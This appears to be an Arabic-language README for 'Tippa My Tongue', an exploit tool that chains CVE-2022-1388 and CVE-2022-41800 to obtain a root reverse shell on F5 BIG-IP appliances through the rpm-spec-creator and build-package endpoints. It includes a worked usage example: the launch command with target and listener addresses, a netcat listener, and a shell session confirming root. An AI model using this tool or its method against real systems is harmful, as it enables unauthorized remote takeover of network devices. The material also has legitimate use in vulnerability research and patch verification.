Tippa My Tongue

Tippa My Tongue هي أداة استغلال تستخدم CVE-2022-1388 و CVE-2022-41800 لإنشاء شل عكسي بصلاحيات root على منتجات F5 BIG-IP. معظم أدوات استغلال CVE-2022-1388 تحقق تنفيذ الأوامر باستخدام /mgmt/tm/util/bash. لكن هذه الأداة تستخدم /mgmt/shared/iapp/rpm-spec-creator متبوعًا بـ /mgmt/shared/iapp/build-package. هذا الأسلوب اقترحه لأول مرة Ron Bowes في تحليل AttackerKB هذا. ومع ذلك، وحسب علمي، لم ينشر أحد من قبل أداة استغلال لـ CVE-2022-1388 تفعل ذلك تحديدًا.

لمزيد من التفاصيل، اقرأ المقال من VulnCheck.

مثال الاستخدام:

albinolobster@mournland:~/tippa-my-tongue$ python3 tippa-my-tongue.py --rhost 10.9.49.191 --lhost 10.9.49.194

   ▄▄▄▄▄▪   ▄▄▄· ▄▄▄· ▄▄▄·     • ▌ ▄ ·.  ▄· ▄
   •██  ██ ▐█ ▄█▐█ ▄█▐█ ▀█     ·██ ▐███▪▐█▪██
    ▐█.▪▐█· ██▀· ██▀·▄█▀▀█     ▐█ ▌▐▌▐█·▐█▌▐█▪
    ▐█▌·▐█▌▐█▪·•▐█▪·•▐█ ▪▐▌    ██ ██▌▐█▌ ▐█▀·.
    ▀▀▀ ▀▀▀.▀   .▀    ▀  ▀     ▀▀  █▪▀▀▀  ▀ •
         ▄▄▄▄▄       ▐ ▄  ▄▄ • ▄• ▄▌▄▄▄ .
         •██  ▪     •█▌▐█▐█ ▀ ▪█▪██▌▀▄.▀·
          ▐█.▪ ▄█▀▄ ▐█▐▐▌▄█ ▀█▄█▌▐█▌▐▀▀▪▄
          ▐█▌·▐█▌.▐▌██▐█▌▐█▄▪▐█▐█▄█▌▐█▄▄▌
          ▀▀▀  ▀█▄▀▪▀▀ █▪·▀▀▀▀  ▀▀▀  ▀▀▀

                 CVE-2022-1388
                 CVE-2022-41800

                       🦞

[+] Executing netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Sending initial request to rpm-spec-creator
[+] Sending exploit attempt request to build-package
Connection received on 10.9.49.191 47152
bash: no job control in this shell
[@localhost:NO LICENSE:Standalone] BUILD # pwd
pwd
/var/config/rest/node/tmp/BUILD
[@localhost:NO LICENSE:Standalone] BUILD # id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[@localhost:NO LICENSE:Standalone] BUILD #

شكر وتقدير

Ron Bowes: لاكتشافه نقاط النهاية هذه ومشاركتها مع العالم
RHCP: لأنه رائع

tippa-my-tongue

الأكثر شعبية

Tippa My Tongue

مثال الاستخدام:

شكر وتقدير